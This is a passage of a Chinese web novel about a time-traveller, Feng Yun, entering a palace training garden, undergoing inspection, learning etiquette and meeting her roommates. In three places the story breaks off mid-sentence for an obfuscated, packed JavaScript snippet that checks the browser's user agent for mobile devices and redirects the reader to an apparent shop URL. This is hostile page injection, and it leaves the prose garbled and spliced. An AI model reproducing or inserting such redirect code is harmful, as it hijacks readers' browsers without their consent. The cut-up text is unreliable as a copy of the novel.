冯昀心里其实能隐约察觉到,裴司簿特意让自己的学生跑这么一趟,除了想让她安心,兴许也有为她撑腰的意思,毕竟冯昀都能考虑到贸然搬来可能很难与周围人打好关系,裴司簿这样的人精怎么会想不到? 冯昀趁机向张婶子放低姿态,调笑道:“婶子,我们兄妹三个刚刚搬来,又都年轻,我不过是运气好,让司簿看中了。可以后过日子还得婶子这样的高邻关照帮衬呢!” 陈英华立刻跟着附和,连声感谢张婶子带人过来,否则是要误了大事的。 这番话说得熨帖,张婶子脸上笑开了花:“姑娘这话客气喽,都说远亲不如近邻,咱们街坊邻里,当然是要互相照顾。” 这一下打破了原本被孤立的局面,冯昀心下不由松了一口气,暗自感谢裴司簿的高瞻远瞩。 冯昀这一觉睡得意外沉实,除去安心的缘故,还因为她终于可以释放那种近乎麻木的疲惫。 冯昀很怕自己做得还不够好,会牵连到身边的人,甚至会委屈自己如今暂时栖息的身体,但明天就要进入柳园,算是给她穿越至今的一切一个小结,无论好与不好,她都可以暂时放下心里这块石头。 冯昀已经尽自己所能做到了最好。 次日辰初未至,柳园的青色小轿已悄无声息地停在了巷口,来接冯昀的是一个内官同两个轿夫。冯昀拎着那个轻飘飘的包袱,走到院中,陈英华则是红着眼圈跟在她身后 把冯昀一路送到了巷口。 “你要保重自己。”陈子荣神情严肃,“妹妹……” 冯昀听他这么称呼自己,知道陈子荣说这话的诚心,重重点头:“好。” 陈英华眼圈更红,一双眼睛水汪汪的,她学着冯昀先前抱她那样抱紧了冯昀,“姐姐,一定要好好地活。这话就是我娘的神通,姐姐帮我想起来了,我把这神通也交给姐姐。” 冯昀愣在原地,有一瞬间想要和陈英华一样流泪,最终还是忍住了。 “好……” 巷口窄小,旁边的内官催着出发,冯昀只能乖乖上轿,从窗口的那一道缝隙,看着陈英华踮脚张望的身影越来越小,最终消失在秋日清晨的薄雾里。 垂下的轿帘终于将冯昀和他们分开,划作了两个世界。 柳园与宁家府邸的富贵截然不同,大小院落相套,更有庭院深深之感。好在园内植了松柏、银杏和桂花等,都被修剪成恰到好处的团簇,大片金黄随风摇曳,空气中透出淡淡花香,中和了秋日的萧瑟肃杀,反而多了几分生机。 冯昀心底的沉闷被这金灿灿的秋光驱散,她细嗅着桂香,很快便瞧见前几日特意光临家中、帮自己撑场面的陆善德。 陆善德在月洞门处等她,豆绿的官服在萧瑟园景中显得格外沉静。“来了。”她目光掠过冯昀身后的包袱,了然却不多言,“先登记,再验身。” 陆善德本就是特意等她,同那两个送冯昀进来的内官客套几句,将人打发走了,这才带着冯昀去登记姓名。 登记造册的女官抬眼打量她,问道:“冯芸?是芸草的芸么?” 冯昀赶紧道:“是日字旁一个匀的昀。” 对方写下冯昀的名字,看了她一眼,笑道:“果然长得标致,难怪褚太监和司簿都要让她进宫呢。” 冯昀对这似是调侃、又像嘲哂的话语一头雾水,不解其意,倒是旁边的陆善德咳嗽一声,道:“不要因为在宫外就没了忌讳,胡乱说话。” 对方有些悻悻:“是。”她有几分尴尬,转而道:“桂院西间还有一处空,就让她去那里吧。” 登记姓名、取了衣裳,陆善德才带着冯昀往后院去,一路上又吩咐侍女叫了几个婆子。 两人停在房间外,陆善德看向冯昀,道:“里面是查验身体的婆子,你进去后听她们的脱衣检查就好。” 冯昀啊了一声,很快就明白过来,这是入职前的体检,她脑子里一时间闪过无数场野史,下意识地想要打个寒颤,却又强行忍了下去。 陆善德看出她的恐慌,宽慰道:“别怕,这些人都是经验老到的产婆医婆,为的是查验你的身体有无疾病,不会对你做什么,我当初也是这样过来的。” 现在到了临门一脚的关头,冯昀就是再怎么不舒服,也不可能在这个时候反悔,因此只能沉沉点头,磨蹭着进了验身房。 房内无窗,只点着两盏油灯,光线昏黄。空气里飘着淡淡的草药与皂角味。 “姑娘,请除衣。” 对方声音平稳,无波无澜。 冯昀手指有些僵,深吸一口气,依言解开衣带,褪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064579|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下外衫、中衣、里衣…… 秋日的寒意瞬间贴上皮肤,激起细密的战栗。层层剥落的不仅是衣物,还有冯昀的自以为可以接受的心理建设。 “抬手。”“转身。”“走几步。” 两位婆子一前一后,目光如扫描器物般掠过她身体的每一寸。皮肤是否光洁,体态是否端正,身体有无异味,甚至发丝、指甲的细节都不放过。 先前冯昀在宁家留下的鞭笞伤痕、挣扎逃命时的擦伤淤青,在昏黄光线和赤.裸目光下显露无疑,婆子的视线在那片青紫上停留一瞬,并未询问,只平淡记录。她们偶尔低语交流冯昀的身体情况,像在评估一件商品的价值,被评估的冯昀则只能僵立着。 “好了。姑娘改换宫装罢,原来那套衣裳就留在这里,不用带进去了。” 这个过程其实不长,但冯昀穿上那套绿衫蓝裙时,手指却忍不住微微发抖,并非因为寒冷,而是自以为是的认知被击穿的痛苦——从这里开始,她的身体,首先属于宫廷的规矩。 尽管冯昀进去之前就在心底安慰自己是去大澡堂洗澡,但真的面临这样的境况,冯昀还是能感到被人“扒光”后心底油然而生的耻辱。 陆善德见她已经换上了宫人的统一服饰,但神情恍惚,怎么会不明白冯昀的心思,她不由轻叹一声,转而说起正题。 “这些时候其他人都已经学过简单的规矩,你如今跟着她们学不过来,先单跟着我学,等到跟上她们再一起学规矩。” 冯昀回过神,试图让自己遗忘刚才发生的一切,只重重地点点头:“好。” 陆善德侧头看向落后一步的冯昀,见她还有些心不在焉,开口道:“冯昀,你虽然是褚太监送进柳园的,但到底是普通宫人,若是连规矩都学不好,褚太监也留不下你。” 冯昀勉强回过神,听出对方话里话外的警示意味,又联系起刚才那位记录女官的话,乖顺道:“掌簿的话,我记在心里了,一定好好学习。” 经历了刚才的事情,冯昀更加明白宫廷不是电视剧里演得那么简单,她更不是什么女主角,不能抱着侥幸的心思入宫,否则之后只会惹出大麻烦,陆善德的这几句叮嘱可谓中肯。 “你能记住就好。”陆善德见她低着头,想到她年纪还小,又经历了不少事情才有了今日,便又放缓了声音:“只要学好了规矩,进宫后一定能平平安安的。你又会画画,将来考中女官,也能护好自己、护好亲人,不会再过以前那样的日子了。” 陆善德显然是知道这些日子宁家的事情,所以特意放软了语气安慰冯昀。 冯昀听她这么说,“谢谢掌簿。” 未入宫的宫人们都住在柳园西面的院落群里,一个院子里有三间房可以住人,一间房里面住着四人,此时恰好是其他人学习规矩的时候,因此屋内没人。 陆善德带着冯昀进去,让她将包袱打开,一一查验里面的东西。 冯昀本就没什么行李,李家拿出来的是外衣,里衣是临时买的两套,陈英华检查了一番,嫌针脚不紧,又补了两针。 唯一特殊的就是里面塞了两方帕子,布料虽然一般,但绣工颇为精致,大抵是冯昀带着当作念想的。 陆善德一面向外走,一面开口:“好了,将东西收拾好,放在那边的箱笼里,我教你简单的规矩。” 冯昀应了一声,匆匆将包袱收好,放进床边的衣箱里,随后便快步跟上陆善德。 陆善德领着冯昀到了另一处院落内站定,方才道:“今日先学最简单的,如何站立。” 15. 拨雪寻春(1) “在宫中行走,肩要平,背要直,颈要正,目光需垂落身前,不要东张西望、四处打量。呼吸要轻、缓、稳,免得扰人心绪。身体不可乱晃,亦不可僵如木石。若是没有拿东西,双臂自然垂在身侧……” 冯昀按照陆善德所说,屏住呼吸,站在原地一动不动。 陆善德手中拿了一把戒尺,轻拍冯昀的手臂,“不要绷着身体,一张弓似的,不好看。” 冯昀努力让自己放松下来,陆善德又道:“太松了,没个正形。” 这样来来回回纠正了五六次,站了将近一个时辰,冯昀只觉得自己对于“站”的定义得到了重塑,不由在心中叫苦。 奈何路是自己选的,冯昀也就只能在心里长叹,况且这才刚开始,冯昀也不希望自己给陆善德留下一个没有耐心的映像。 陆善德却好像已经猜透了冯昀的心思,温声道:“将来到贵人们身边伺候,更要注意这些小事,现在吃些苦头,将来能少受罪。” 这话听着倒是很耳熟,冯昀上高中的时候常听班主任说。 陆善德看着不过二十岁出头,和冯昀那个老头班主任截然不同,语气却出奇的相似。 陆善德察觉到她在憋笑,立刻用戒尺轻敲冯昀的头顶,语气也多了几分严肃:“笑什么笑?还不站好?” 冯昀立刻收敛心神,按照陆善德所说站着,回想着自己以前看过的健身视频,好调整出一个合适的姿势。 陆善德端详片刻,见她神情认真,不似之前那样嬉皮笑脸的,这才趁着冯昀练习站姿的时候给她补习一些简单的称呼知识,诸如“皇爷”、“某娘娘”之类的宫廷特有称呼。 冯昀在后世也看过这一朝代的人留下的各类笔记,了解过一些简单的皇家规矩,尤其是后来影视剧越来越多,冯昀为了工作也没少看,无形之中已经记下了不少,如今跟着陆善德算是复习一遍。 “宫中都以官职称呼,六尚一司分别是尚宫、尚仪、尚服、尚食、尚寝、尚功和宫正司,每局下设四司,各司除却最低的女史,按照品级高低分别为司、典、掌。如我这个掌簿,隶属于尚宫局下司簿司,裴司簿是我的上级,正六品女官,尚宫局主管宫女名册登记和下发月钱、赏赐等。” 冯昀好不容易将这一堆衙门分清楚,听到陆善德介绍尚宫局的职能后立刻明白过来,尚宫局承担着人力资源和财务会计方面的职能,是个标准的管理岗位。 陆善德见她有些吃力,解释道:“四十年前,皇爷尚且年幼,程老娘娘垂帘听政,为了方便前朝后宫沟通,曾大力拔擢女官充盈六尚,六尚二十四司不见空悬之位,职权极广,一时记不住也是正常的,你也不必着急。” 冯昀一面站军姿,一面接收陆善德传授的知识,颇有些吃力,却也能听出陆善德提起程太后选拔女官时的自豪语气。 以陆善德的年龄,大概是没有见识过昭朝女官最为荣耀的时刻,但话语间满是心向往之。 说着说着,陆善德轻叹一声:“虽说这些年各局职能有减、人手也少,但要分清楚也不容易,等到将来你们进宫行走办事,慢慢就能分清这些衙门了。” 陆善德虽然没有明说,冯昀却对她含糊其辞的前因有些了解。 垂帘听政的程太后与皇帝斗法失败,皇帝虽然没有清算亲妈,甚至对太后孝顺更甚,但对这些曾经为皇太后办事的女官却是毫不留情。 女官们被皇帝裁撤职务、宦官蚕食权力不说,还有不少人还被皇帝以宫廷失火为借口的宫廷阴谋降罪处死,这些冤魂甚至还包括皇帝的保母。 这也是为什么冯昀如此恐惧祐宁朝的宫廷。 封建宫廷做人难,做女官、宫女更是难上加难。 陆善德说完又板着脸,刻意严肃语气:“认衙门的事情不急,但基本的规矩绝对不能懈怠,你学得晚、练得少,所以更要下苦功。明白了吗?” 冯昀赶紧应了一声,小心翼翼地调整自己的姿势,心中更加坚定自己“谨慎谨慎再谨慎”的办事原则。 陆善德见她格外认真,心中多了几分欣赏,面上却没有表露,约莫着时间差不多了,便让冯昀和自己一起用午膳,午后又教了她不少规矩,要求也愈发严格。 直到傍晚,陆善德留冯昀一同吃了晚膳,方才放冯昀回去休息,还不忘叮嘱她明日卯正时分再来。 冯昀不好意思说自己还没搞清楚该怎么通过天色来区分时间,但这件事涉及常识问题,冯昀也不敢瞎问,只是乖乖应了下来,临走前还不忘向陆善德道谢。 冯昀的身体本就没有完全恢复,一场酣畅淋漓的礼仪课结束,总感觉腰酸背痛的症状更加明显了。 冯昀勉强走回了住处,未进门就听到了里面的欢声笑语,这才想起自己还有三个室友要打交道。 冯昀正想着该怎么开场,门已经被人从里面打开,开门的是个容长脸、瘦削身材的姑娘,端得是明艳大气,她约莫着十七岁左右,手中还端着一盆水,她一双星眸透露出几分精明,来回扫视冯昀。 冯昀赶忙解释道:“我今天刚来,之前家里有些事情,耽搁了入园学规矩。掌簿安排我住这间。” 对方听到“掌簿”二字,将水盆放到一边,她看出冯昀脚步有些沉重,还细心地扶了冯昀一把,帮她跨过门槛,笑道:“我就说嘛,今天一回来就看见箱笼有人动过,原来真有人搬来了。” 屋内的另外两个姑娘并肩坐在床榻上,她们身上只着里衣,看着轻松闲适,大抵是在闲聊。 听到动静,两人也探出头来打量冯昀,其中的圆脸姑娘忍不住好奇地问道:“你是哪的呀?听着不像原城的。” 冯昀先前注意力都在学习上,还在回忆陆善德交给她的那些知识,脑子还没有切回思路,加之这个问题还真不好回答,一时间怔愣在原地。 扶她跨过门槛的姑娘见状嗔怪道:“先前女吏教咱们规矩的时候特意叮嘱过,一定要把口音改掉,以后都得说官话,这会儿你又忘了,又说什么口音,小心让女吏们知道了罚你。” 圆脸姑娘羞赧道:“要是老乡,以后进宫也有个照应呀……” 冯昀不好插话,那姑娘迎着她进门坐下,道:“还不知道妹妹怎么称呼?我姓关,叫立月,立春的立,月亮的月。” “我叫林圆儿。” “赵妙兰。” 冯昀不由暗自感慨关立月在交际上的成熟老练,敏锐地察觉到冯昀有不愿意提及的话题,两三句就将话题打开,还不至于让大家都尴尬。 “我叫冯昀,十六岁。” 林圆儿闻言眼前一亮,笑嘻嘻开口:“缝云?听着就是个巧手的名字。” 冯昀啊了一声,赶忙解释道:“我……手笨,不大会绣花,只会简单缝些东西。” 关立月为她倒了一杯水,笑道:“妹妹别听,圆儿这丫头脑袋里一向爱想些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以这次来选人的大珰才要先看容色,还要抽人去皇爷身边伺候。”林圆儿有些骄傲,道:“说不定,咱们当中也有人能有那般造化呢,要是真有这样的事情,对于大珰来说也是互利互惠的好事。” 听林圆儿说完,冯昀忍不住搓了搓手臂,试图隔着衣袖将鸡皮疙瘩搓掉。 虽说这种事情从古至今都不罕见,但冯昀仍旧有些反胃。 关立月察觉到冯昀的小动作,并不多说什么,只是叮嘱林圆儿:“这都是私下说的闲话,谁知道是真的假的?再说那么多宫人,还能每一个都成了美人?” 林圆儿努努嘴:“我也就是嘴上说说嘛,这种事情哪里能落得到咱们头上。” 关立月提醒道:“现在是在外面,将来进宫要是还敢胡言乱语,小心被人打出宫去。” 林圆儿自知不该,只是嘟囔道:“知道啦……我还指望着能分到一个好脾气的娘娘身边,做点轻使的活计呢。” 赵妙兰见此情形,打了个呵欠,岔开话题:“时候不早了,明日一早还要去站规距呢,大家都快些睡吧。” 林圆儿穿鞋下地,回到自己的床上躺下,又翻身同关立月撒娇道:“立月姐姐,明早可得叫我起身,不然我醒不来的。” 关立月莞尔:“好。”她看向冯昀,道:“冯妹妹,你也早些睡吧,你刚开始学规矩,难免不适应的,早点休息养好身体。我听说了,过几日咱们就要出发去京城,可不要被小病小痛拖累了,丢了进宫的机会。” 虽说冯昀的心理年龄比在场的几个人都大,但没有人会讨厌别人的关心。 冯昀轻声道谢,看着关立月回到床上,这才将蜡烛吹熄了,自己摸索着回到床边,她褪下外衣,随便整了整被褥,倒头就睡。 无论如何,身体才是发展的本钱! 16. 拨雪寻春(2) 经过陆善德的五日加急训练营,冯昀已经将所有规矩大致过了一遍,晚上回去甚至还会请同屋的其他三人考校。虽然细节差了一些,但至少不会出错。 这下冯昀总算能够跟上大家的训练进度,不用继续单独受训,也算是间接证明自己在宫女之中已经及格,冯昀心中的压力顿时减轻不少。 虽说她算是走后门进来的,但要是连基础技能都无法掌握,再强大的后门也不好使。 “褚监丞来了。” 冯昀因为个子不算高,与林圆儿一同站在受训宫人的前排,自然一眼就瞧见了褚怀益。 他的打扮和先前没什么不同,只耳垂处多了一对珍珠珰,可见是精心打扮过的,褚怀益的神情比之面对冯昀时温和了许多,却在无形中多了几分疏离。 冯昀和他对视一瞬,立刻低下了头。 教导规矩的女吏道:“这位是褚大珰的养子,褚监丞,如今在内官监任左监丞。今日褚监丞是来代大珰查验你们的规矩,也是为了将来选拨人才伺候皇爷与老娘娘。” 冯昀对宫廷内部的官职其实不甚了解,但因为工作缘故,了解过一些涉及宫廷内部建造的部门有几分了解,如内官监,掌管的便是营造事务,上到土木工程、下到妆奁器物,都属于内官监的管辖范围。 换言之,这是一个掌握多种资源,且拥有实权和油水的衙门,能够在这个部门混一口饭吃,可见褚怀益不是后台硬就是能力强,又或者二者兼有。 宫女们都在受训的这段时间详细了解了宫廷内部的衙门结构,自然知道内官监很是吃香,能够在此处任职的人更不简单,更不用说这位姓褚,和大珰是一个姓氏,明眼人都看得出来两人的关系。 褚大珰能够被皇帝派遣来选拔宫人,可见也是颇得皇帝信任,把养子安插到油水丰厚的部门,也不过是顺手的事罢了。 因此宫女们一个个都愈发谨慎,生怕一不小心给褚怀益留下了不好的印象,影响了进宫后的升迁道路。 冯昀也象征性地正了正姿势,表达一下自己对巡视领导的尊重。 褚怀益的目光扫视一圈,自然第一眼就看到了冯昀,除却有心关注她的缘故,还因为冯昀的行礼姿势在一群人中最为明显,明明是屈膝行礼、以示恭敬,但冯昀的举止在他眼中偏偏是特立独行。 恰如那天冯昀“求生”一样,看似恳求的话语潜藏的却是冯昀的“不屈”,让褚怀益看了就有几分牙痒痒,原本因为从宁家小赚一笔的好心情也抛诸脑后。 旁边的女吏察觉到褚怀益的目光,便开口道:“这些宫人年纪还小,难免有不周到的时候,但都是个顶个的机灵,待到进宫后开始做活儿,慢慢就有长进了。” 褚怀益听出她话里的回护之意,轻哼一声:“两日后便要出发入京,若是这个时候还不能熟练规矩,也就不必进宫了。” 众人听完都打起了精神,冯昀知道他十有八九是在点自己,但褚大珰已经让她近来,估计褚怀益也就是敲打敲打她罢了,不可能真的三言两语就把冯昀打发出去。 倒是一旁站着的林圆儿忍不住侧目看她,眼神中有几分担忧。 褚怀益道:“前面这一排的,站出来行礼看看。” 第一排的几人纷纷站出来行礼,冯昀自然也不例外。 褚怀益对其他人都没说什么,唯独在冯昀这里顿住了脚步,见此情形,周围人都忍不住看过来,就是关立月也不免为冯昀捏一把汗。 平日里她们都看过冯昀的规矩,都觉得没什么问题,偏偏今日冯昀被拦了下来…… 冯昀看着褚怀益的鞋尖出现在自己的视野内,仍旧是一副淡然模样,稳稳当当地维持着行礼的动作。 褚怀益左看右看,拿不住她的错处,心道这丫头片子果然滑手,换成是别人,被他这样盯着,纵不露怯,也难免不自在,冯昀却没有露出半点狐狸尾巴,倒是块入宫的好材料。 想到此处,褚怀益不由撇嘴,原本的春风得意也就此消散,只道:“行了,你这是行礼还是练功夫?下盘倒是挺稳当,不去练武可惜了。” 其余人松了一口气,冯昀反而接口道:“谢监丞夸奖。”说罢还又大大方方地行了个礼。 褚怀益险些被她气笑,但见冯昀行为举止仍旧是循规蹈矩,憋了半天也再没有一句能够挑刺儿的话,只好摆了摆手,算是放过了冯昀。 他本来就是顺便刁难一番冯昀,如今没能“得逞”,自然也就没了兴趣,又训诫吩咐了几句,便拂袖而去。 倒是冯昀趁着这个靠近的时机看出了端倪,估计这父子两个在原城的这段时间没少贪。 褚怀益的衣裳乍看没变,仔细一瞧,上面的刺绣和先前截然不同,甚至更华丽几分,难怪今日他还精心打扮了一番,不忘臭美一下,可见春风得意。 褚怀益走后,女吏又让众人练习了一个时辰,便叫他们回去,抽空收拾东西,明日就不必来园中集合。 待到回去休息,几人才终于逮住话口聊起方才的事情。 “小昀,你怎么敢回监丞的话啊?我打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但转念一想,皇帝住的地方应该不会太差,即便真有时间留下的斑驳痕迹,总不会如同她在南城看到的那些民居一般陈旧吧。 想到这里,冯昀点点头,“那当然。” 关立月见两人讨论起来兴致勃勃,忍不住笑道:“亏你们还有心思在意这个,还不如想想上路之后怎么办,从原城到京城,怎么都得一个月吧,还不知道要吃多少苦。” 提到这个,冯昀不由僵在原地。 对啊,她都要忘了,这年头出远门可不是两三天就能到的……